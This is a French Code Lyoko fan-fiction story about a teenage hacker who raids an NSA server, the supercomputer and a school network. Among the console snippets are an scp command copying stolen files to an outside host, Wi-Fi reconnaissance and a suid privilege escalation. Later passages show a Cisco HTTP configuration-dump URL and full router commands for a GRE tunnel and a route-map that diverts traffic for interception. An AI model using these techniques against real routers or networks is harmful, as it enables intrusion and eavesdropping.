Histoire : open(/dev/lyoko, X_WRITE) = -1 EACCES (Access Denied)

Écrite par @«»©®ø€€åýðþ le 01 octobre 2006 (4162 mots)

Dernière édition le 01 avril 2008

** Mars 1999, Nico **





- Bon, là, ça devrait marcher ... disait Nico en relançant un programme légérement modifié depuis le lamentable crash d'il y a quelque seconde.


console a écrit:



./wtf --vbig=/usr/local/lib/libssl.so /tmp/.sshagent-0



Exploiting SSL security hole in ssh-agent... Done !


# id -a


uid=0(root) gid=0(root) groups=0(root)



- r00ted, maintenant récuperer les dossiers classifié et deconnection, faut pas trop trainer sur ce serveur.


console a écrit:




Broadcast message from security@lucifer on ttyp42 at 19:30 ...


Warning ! Security Violation Detected !


Please backup your files and disconnect NOW !


System is going to shutdown in 20 seconds !





- M detecté ! Recuperer ce que je peux ...



console a écrit:



# scp /priv/data/* hehe@zoom.ps4net17.com:/opt/cstrike/datas/


Broadcast message from root@lucifer on ttyp0 at 19:30 ...


System is going to shutdown in 5 seconds !



# Connection reset by peer


ssh: Connection reset by peer


hehe@zoom:/opt/cstrike/datas/$ ls


<...>


project-carthage.tar.bz2


project-xanadu.tar.bz2


<...>






- Vite, migrer ces données ...


20 minutes plus tard, l'ensemble des fichiers etait sur le disque dur de l'ordinateur portable de Nico, dans une partition crypté.


Nico déconnecta son modem acoustique de la cabine téléphonique, rangea son materiel et s'en alla aprés avoir effaçait toute traces de sa presence.





** De nos jours, Lyokonautes**





C'etait la rentré des classes au lycée, aprés le speech toujours aussi navrant du proviseur, ce fut la recreation.



Il y avait des nouveaux éléves.


Les lyokonautes s'etait retrouvé à coté d'un banc.


- Passé de bonne vacance Jéremi ? demanda Ulrich à un Jéremie penché sur son ordinateur portable.


- J'ai fais la maintenance du SC avec Aelita et on a decouvert de vieux programmes appartenant à Franz Hopper. Je ne sais pas encore ce que c'est exactement mais j'espere bien le decouvrir. dit rapidement Jeremie en levant à peine les yeux de son écran.


- En tous cas, il n'y a pas que toi qui est accro. dit Odd en regardant un des nouveaux eleves avec son ordinateur portable ouvert et qui semblait trés concentré par ce qu'il voyait.


Brusquement, il les regarda puis la recreation pris fin.





** ..., Nico **





- Enfin la recré, je tenais plus !


Nico sortit son ordinateur portable, le sortit de vieille et lança iwlist scan


Une longue liste apparues dans le shell mais une entrée attira son attention.


console a écrit:



Cell 01 - Address: 02:03:05:07:11:13



ESSID:"xanadu"


Mode:Master


Frequency:2.462 GHz (Channel 11)


Signal level:-55 dBm Noise level:-88 dBm


Encryption key:on





- 02:03:05:07:11:13 ? Mais c'est la séquence de, Nico ne finit pas sa phrase, trop occupai a configurer airodump qui lui fit une autre surprise.


2 autres machine dont une trés proche de lui était connecté à xanadu.



Nico chercha d'autre personnes ayant un ordinateur portable et repéra un groupe d'eleves affalé sur un banc.


La cloche sonna, il poussa un soupir puis se dirigea vers la salle de cour.





** Quelque heures de cour plus tard, Aelita,Jeremie,Nico **





Aelita et Jeremie sortir de cour et allérent à l'usine.


Derriére eux, Nico les suivaient.





A mesure que Nico s'approchait de l'anciene usine Renaut, son ordinateur portable capté de mieux en mieux l'AP ayant l'adresse MAC 02:03:05:07:11:13.



Il vit Jéremie & Aelita qui descendait par un accenseur.


- Pas question d'utiliser l'ascenceur donc je vais encore joué à James Bond pensa Nico.


Il sortit de son sac son equipement d'escalade et commença à descendre en utilisant le cable.


Quand il fut suffisant proche du toit de la cabine, il sauta dessus.


Malheuresement, à ce moment Jeremie, ayant decidé d'aller examiner les scanner, appuya sur le bouton pour descendre.


Nico se retrouva dans le vide.


- Bon c'est pas grave, je vais me balancer pour atteindre l'autre coté.



Aprés 2-3 minutes de mouvements, il s'accrocha et declenchant l'ouverture de la porte, entra dans la salle.


- Et M, Xanadu....


Il s'approcha des écrans et ouvrit un shell.


À ce moment là, un programme nommé SuperScan afficha une alerte.


- Tour activée, oops Xana ...


Nico tapa vite des commandes sur la console, ouvrit un fichier sur son ordinateur portable et commença une partie de hack ...


- Les tours sont generé par un prog qui ecris et lit le fichier /apps/lyoko/var/state.db et je peux ecrire dessus.


Si je réecrit le fichier, est-ce que ...



Non, le prog fait des checks d'integrités ...


A ce moment là, l'oeil de Nico tomba sur une partie «Gestion des Utilisateurs» et tenta machinalement de lister les utilisateurs connecté.


console a écrit:



SC> show user * summary



10 years, 4 months, 13 days, 21:11:03 up 6:57, 91 users, load average: 16,19, 8,11, 9,09


USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT


xana pte/6 0.00s 0.02s 0.00s /usr/xana/bin/attack


franz pte/21 - 10 years, 4 months, 13 days, 21:00 14.24s 0.00s 0.00s /sys/bin/gest


root pts/0 - - - - -





- Mais screen est suid ...


Il appella screen -r et eue un joli prompt root.



Il killa tout les processus de pte/6 et le SuperScan signala que la tour se désactiva.


- Piouf ...


- Qui êtes-vous ? dit une voie derriére lui.


Nico regarda derriére lui et vis Jéremie et Aelita qui n'était pas vraiment content de le voir.


- Qu'avait vous fait ?


A ce moment là, un message d'erreur apparut sur l'ecran.






** Salle de Controle du SC, Nico, Aelita & Jeremie **





Nico se tourna immédiatement vers la console.


console a écrit:



ALERT! ALERT! ALERT!



Cannot connect to message bus system!


Warning: inconsistency detected in Lyoko!


=====> ASSERT FAILED at 0x2ffac9b3 !


=====> ASSERT FAILED at 0x82145de !









Toutes les secondes, un ASSERT FAILED s'inscrivait dans la console.


Jérémie poussa Nico et tapa comme un acharné sur le clavier.





- Mais vous avez désactivé Xana !


- Oui, mais on dirait que le système en a besoin.





A ce moment là, Aelita tomba dans le coma.


Jerémie la rattrapa avant qu'elle ne touche le sol et tenta de la réanimer.





Nico se mit devant la console, cliqua sur la fenêtre qu'il avait utiliser pour killer Xana et trouva le script qui avait initialisé pour la première fois Xana dans le répertoire de root puis le lança.


Des centaines de messages d'erreurs s'affichèrent mais les ASSERT FAILED arrêtèrent de se produire.





- Piouf ! Aelita va bien ?


- Son coeur bat et elle respire. Mais maintenant qui êtes vous ?


- Nico. Pourquoi avez-vous réactivé ce SC ?


- J'étais curieux et après que j'ai connu Aelita, je ne pouvais plus le désactiver.






Discrètement Jeremie s'était rapproché de la console et avait lancé la procédure de retour dans le passé.


- Eh !


Nico n'eut pas le temps de finir sa phrase, le retour dans le passé se produisit.





** Janvier 2000, Nico **





Nico avait extrait les fichiers les fichiers qu'il avait «emprunté» à la NSA.


La plupart évoquai de sombres histoires de manipulation qui lui faisait froid dans le dos.


Mais dés qu'il pris connaissance de project-xanadu.tar.bz2, il fut surpris.



«Un super-calculateur quantique ? Un monde virtuel avec immersion complète ? Mais c'est génial ! » pensa-t-il avant de se lancer dans l'étude approfondis des fichiers.





Il y avait des formules qui était bien au-delà de son niveau en mathématique et en physique par contre il y avait du code source et des échanges de mail.





Il trouva aussi un fichier crypté par PGP.


Nico n'avait pas envie d'attendre quelque milliards d'année pour ouvrir un fichier alors il replongea dans l'étude du code quand il se rappela brusquement une faille touchant un algo de PGP.





Il retrouva un lien vers l'article sur LinuxFR, écrivis un script et le lança.



Quelque minutes après, une archive tar.bz2 fut extraite.





Les fichiers de l'archives appartenait à un certain f.hopper.


«f.hopper ... Franz Hopper. Le concepteur de Lyoko.» réalisa-t-il.





Parmi les nombreux répertoires extraient, il trouva les notes d'Hopper sur la prochaine evolution de Lyoko.





Soudain, un message d'alerte lui signala quelqu'un tentait de remonter sa chaîne de relais.



«Et m ! Une macro piége dans ce p de document Word.»





Nico lança l'auto-destruction de plusieurs de ses relais, éteignis en urgence sa machine et changea encore une fois d'identité.






*** , Nico, ***





Nico flottait dans le noir.


«Heu ... Pourquoi j'ai l'impression que ca va empirer ?»





Soudain, un environnement commença à apparaitre.


Nico atterit sur une plateforme ronde.





Devant lui, des centaines de boules lumineuse de differents couleurs passait dans tous les sens.



Nico s'approcha du bord de la plateforme et un shell apparut devant lui.





shell a écrit:



Dev Access -- Do Not Use In Production !


login:/>









Nico sourit et pensa «Ah combien de fois j'ai vu ce Do Not Use In Production !».





Il commença à utiliser le shell pour se renseigner sur le fonctionnement du systéme.


C'etait une vielle Sun Ultra Enterprise tournant sous Solaris manifestement connecté à un réseau privé.


Listant la configuration ipv4, il decouvrit que la machine n'avait pas de gateway et pas de dns.


Le log de connection ne contenait aucune connection récente à part une entrée signalant le lancement d'une invite de connection.



En faite, les logs du systéme etait casiment vide malgrés un uptime important.


Il se loggua dans le compte root aprés 2 essai de mot de passe courant.


« Aucun fichier utilisateur, un historique de commande casi vide, un mot de passe courant pour le compte root. Mais un firewall configuré, un mininum de services lancé. Ca ressemble à un serveur dont la configuration a été interrompuse.»





Tentant un ping broadcast, Nico decouvrit une autre machine sur 10.235.71.113.


«02:03:05:07:11:13 encore une fois. C'est fou comme je retrouve cette séquence en ce moment. » pensa-t-il.





Il lista le contenu du dossier /root et eue une surprise:


shell a écrit:




root:~> find


.ssh


.ssh/known_hosts


.ssh/id_dsa


.ssh/id_dsa.pub


.ssh/config


root:~> cat .ssh/config



Host 10.235.71.113


CheckHostIP yes


StrictHostKeyChecking yes


Port 22


Protocol 2


SendEnv LANG LC_*



HashKnownHosts yes


User f.hopper





« Il y avait un serveur ssh2 sur 10.235.71.113 avec un utilisateur f.hopper et où on pouvait se via une clef publique.» Decoda-t-il. « Peut-on encore s'y logguer ?»





shell a écrit:




root:~> ssh 10.235.71.113


Last login: Tuesday, 31 December 1996 23:59:59 from 150.177.2.193


SC>








«Je me disais bien que je ne devais pas être loin du SC.» s'exclama Nico.



Il utilisa ssh pour se logguer sur un serveur de shell gratuit.





shell a écrit:



SC> ssh -l qwerty1 st0rage.org



The authenticity of host 'ssh.unhandledexceptions.com (69.128.116.234)' can't be established.


RSA key fingerprint is 43:97:d3:0b:a0:46:9a:b0:11:e8:33:45:2f:25:cd:cd.


Are you sure you want to continue connecting (yes/no)? yes


Warning: Permanently added 'ssh.unhandledexceptions.com' (RSA) to the list of known hosts.


Password:


Linux ssh.unhandledexceptions.com 2.4.26-1-386 #1 Tue Aug 24 13:31:19 JST 2004 i686





Please behave yourself.






Rules:





1) No running sevices, unless you have permission from Termina. This includes irc bots, vnc, etc.





2) IRC clients are allowed. No EggDrop/bots allowed.





3) Do not attempt to view/access files belonging to other users.





4) Report any problems you find immediatly to termina@gmail.com





5) Any abuse (.plan, etc) will result in immediate account deletion, and IP ban from both site and IRC.





Thanks for your understanding





Last login: Thu Apr 26 10:40:19 2007 from mail.boursorama.fr



qwerty1@ssh:~$ finger qwerty1


Login: qwerty1 Name:


Directory: /home/qwerty1 Shell: /bin/bash


On since Thu Apr 26 10:42 (CDT) on pts/28 from 0.2.3.5


2 seconds idle


No mail.


No plan.



qwerty1@ssh:~$ host 150.177.2.193


193.2.177.150.in-addr.arpa domain name pointer m830w193.ftmeade.army.mil.





« Bon, la liaison vers Internet fonctionne, SSH est autorisé en sortie.


Par contre les anomalies s'accumulent:


- l'ip est totalement fantaisiste et non routable sur Internet.


- Franz Hopper s'est loggué sur le SC d'appartir une machine de la NSA alors qu'il les avait aux trouses ...» dit tout haut Nico.






«Bon travail de déduction jeune homme !» entendit Nico derriére lui.


Il se retourna lentement et decouvrit un amas de lumiére.


- Mr Franz Hopper je suppose ?


- A votre avis ?





«Oula, ca commence bien» se dit Nico






** ..., ... ***

- Vu où je me trouve, la réponse est probablement oui mais vu les circonstances de mon arrivé, il valait mieux acquerir des données plus ou moins fiable.
Cela étant possé, pourquoi m'avoir amené ici ?
- Vous avez failli planter le SC et me tuer au passage!
Et vous avez le culot de me demander pourquoi ?
- Oui. Donc pourquoi ?
- Parce que je veux savoir qui vous êtes.
Vous avez utiliser des commandes et des clefs qui ne sont connus que de moi seul.
- Celle que décrit votre journal ?
- Où avez trouver ce fichier et comment l'avez vous ouvert ?
- Sur un serveur de la NSA il y a quelque année. Et puis vous aviez utilisé un alglo foireux de PGP donc la clef privé a été vite cassée.



Nico regarda de nouveau la console qui affiché toujours le qwerty1@ssh:~$.
Mettant au défi Franz Hopper de dire quelque chose, il coupa la connection au SC et commença à se bidouiller un compte.

- On ne vous a jamais dit que c'etait impoli de créé des comptes surtout ayant des priviléges administrateurs sur des machines qui ne vous appartiennent pas.
- Déformation professionnel.
- De toute façon, cela va etre effacé ...
- Pas encore un retour vers le passé !
- J'ai suspendus le précedant pour vous parler mais l'équipement ne va pas pouvoir continuait longtemps dans cet état. Et vous ne chercherai plus a acceder à Xanadu. Retour dans le passé !

Pendant que Franz Hopper parlait, Nico avait rétablis une liaison SSH avec le SC sans se faire remarquer.
Il s'ajouta à la liste des personnes à qui il fallait preserver la mémoire et lanca un petit processus discret.
Il venait juste de terminer de taper lorsque la bulle blanche l'engloba.

** Le matin du jour d'avant la rentrée, Nico **

Nico se retrouva devant son ordinateurs portable, dans son QG, le matin de la rentrée des classes.
Il réflechis quelques secondes à ce qui venait de se passer puis pris une décision.
«Je n'aime pas quand on tente de modifier ma memoire Mr Hopper. Et si je veut participer a votre jeux qui est plutôt dangereux pour le monde, vous ne pourrez pas m'en empecher.»

Trés vite, il acceda a une machine du rectorat puis utilisant le VPN servant à l'administration à distance du firewall/serveur proxy, il se loggua dans une des machines de l'administration du collége Kadic et changea son affectation:
«Je change de classe et je me met dans celle de Jeremy. »

Il se deconnecta quelques minutes plus tard.

Il chercha dans son foutoir un Soekris, vida rapidement la carte Flash et y installa un OS minimal.
Il passa quelque minutes a monter dedans une carte ethernet un peu spécial puisque supportant des débit de l'ordre des 10Gb/s en faisant trés peu travailler le CPU.
Il l'alluma, installa quelques programmes, pré-configura une suite d'utilitaire, le script de démarrage et adapta la configuration du firewall.
Il atteignit la machine et la mis dans un sac avec quelque cables, des tournevis et de l'adhésif double face.

«Rock'n'roll !» se dit-il en sortant du QG et en prenant la direction de l'usine.

--

Quelque termes:

<*>VPN: Virtual Private Network Ou Réseau Privé Virtuel: Cela permet de créé une pseudo LAN entre des machines connecté à Internet et situé à des endroits different. Les liaisons entre les differentes machines de la pseudo-LAN sont sécurisé.
<*>Soekris: C'est le nom d'une marque de carte mére permettant de construire des equipements comme des routeurs, bornes WIFI, firewall, NAS, etc.. dans de petit boitiers et consommant peu.













** Vers Midi, Nico**

Nico arrivait en vue de l'usine quand il vit Jérémie sortir de l'usine avec Aelita.
Il se cacha et tenta d'ecouter leur discution:
« Non, je ne sais pas qui était ce Nico. Je vais voir dans les fichiers du collège ce que je peut trouver.
- En tous cas, il semble connaitre le SC et Lyoko. Malgrés le retour dans le passé, il peut être dangereux.
Tu as bien fait de verrouiller l'ascenseur.»
Ils passerent sans voir Nico qui pensait «dangereux pour qui ?» et sortirent de son champ visuel.

Nico entra dans l'usine et sans surprise constata qu'il ne pouvait ouvrir la porte de l'ascenseur.
«Bon reflechissons, je peut pas passer par là. Et il n'y a que dans les films que le systéme d'aeration est suffisant grand pour laisser passer une personne.»
Soudain, il se rendit compte qu'il y avait forcement un passage d'entretien en cas de panne de l'ascenseur.
Il commença à en chercher des traces, finit par trouver une trappe, l'ouvrit et son visage s'orna d'un sourire: il y avait une echelle de barreau !
Il sortit sa lampe de torche et descendit.

Quelque dizaine de mètre plus bas, il ouvrit une autre trappe et tomba dans une salle noir eclairé par des leds verte de different appareils.
Eclairant les differents appareils avec sa lampe de torche, il commença à déterminer leur fonction.
«Un routeur cisco 7200, du cable cat5 qui part vers quelque part, ha c'est la Sun Ultra Entreprise dans laquel Hopper m'avait piége !»

Il brancha son laptop sur un port RJ-45, recupera une IPv4 par DHCP, lança nmap contre le routeur et vit que le routeur avait le serveur HTTP actif.
Ouvrant Firefox, il atteignit le router par son addresse 10.235.71.1 et tenta de recupéré l'URL /99/exec/-/show/config.
Une longue page s'ouvrit, devoilant la configuration du routeur dont son mot de passe enable.
Il lança un rapide telnet, se loggua en tant qu'admin, fais enable et faut recompenser par un prompt cisco#

Il sortit son Soekris, trouva une prise, la brancha au routeur et attendis quelque instant.
Dans la fenêtre telnet,une ligne signala l'attribution d'une nouvelle addresse IPv4 par DHCP.
Il s'y connecta en ssh2 via sa clef publique et reconfigura la machine en addresse ipv4 statique, chargea le module gre dans le kernel et se frotta les mains.
«Je connais un chouette hack avec GRE. On va voir si ca passe »


Routeur cisco à dit :

cisco#conf t
Enter configuration commands, one per line. End with CNTL/Z.
cisco(config)#int tunnel0
cisco(config-if)#desc Nico was here.
cisco(config-if)#ip address 1.1.1.1 255.255.255.0
cisco(config-if)#tunnel source eth0
cisco(config-if)#tunnel dest 10.235.71.142
cisco(config-if)#tunnel mode gre ip
cisco(config-if)#exit
cisco(config)#


«Donc voila, j'ai créé un tunnel GRE vers la Soekris qui est en 10.235.71.142. Sur ce tunnel, le routeur aura l'IPv4 1.1.1.1.
Il faut que je configure la Soekris ...»
Quelque ligne de ifconfig plus tard, il tenta de pinger sa Soekris à travers le tunnel GRE:

Routeur cisco à dit :

cisco#ping 1.1.1.2
Type escape sequence to abort.
Sending 5, 100-byte ICMP Echos to 1.1.1.2, timeout is 2 seconds:
!!!!!
Success rate is 100 percent (5/5), round-trip min/avg/max = 8/8/8 ms


«Maintenant, ne pas casser le routage quand on va activer ce hack .»
Quelque ligne de plus en root plus tard, la Soekris routa tout ce qui lui arrivait sur le tunnel GRE vers l'addresse IPv4 1.1.1.1.

«Plus que 3 truc à faire: une regle firewall qui autorise tout, un route-map vers le tunnel GRE et l'affectation de ce route-map à l'interface qui communique avec le SC.»

Routeur cisco à dit :

cisco(config)#access-list 123 permit tcp any any
cisco(config)#route-map nicohack
cisco(config-route-map)#match ip address 123
cisco(config-route-map)#set ip next-hop 1.1.1.2
cisco(config-route-map)#exit
cisco(config)#int eth0
cisco(config-if)#ip policy route-map nicohack
cisco(config-if)#exit
cisco(config)#exit


«Bon maintenant, l'instant de vérité !» se dit Nico en tapant le dernier exit.
Route-map disant au routeur d'ignorer tout ce qu'il savait du routage pour envoyer tout le traffic sur une addresse Ipv4, la Soekris commença a recevoir du traffic et en transmettre.

Il relança les different scripts qu'il avait ecris sur la Soekris, verifia qu'elle était bien inseré dans son VPN et commença en rangé son matériel.

Quelque dizaine de minutes plus tard, il avait finis et commençait la remonté vers la surface.
Il sortit de l'usine et evita de peu la rencontre avec Jérémie.

«Je devrait arreter de jouer avec ma chance» se dit-il avant que rentrait à son QG.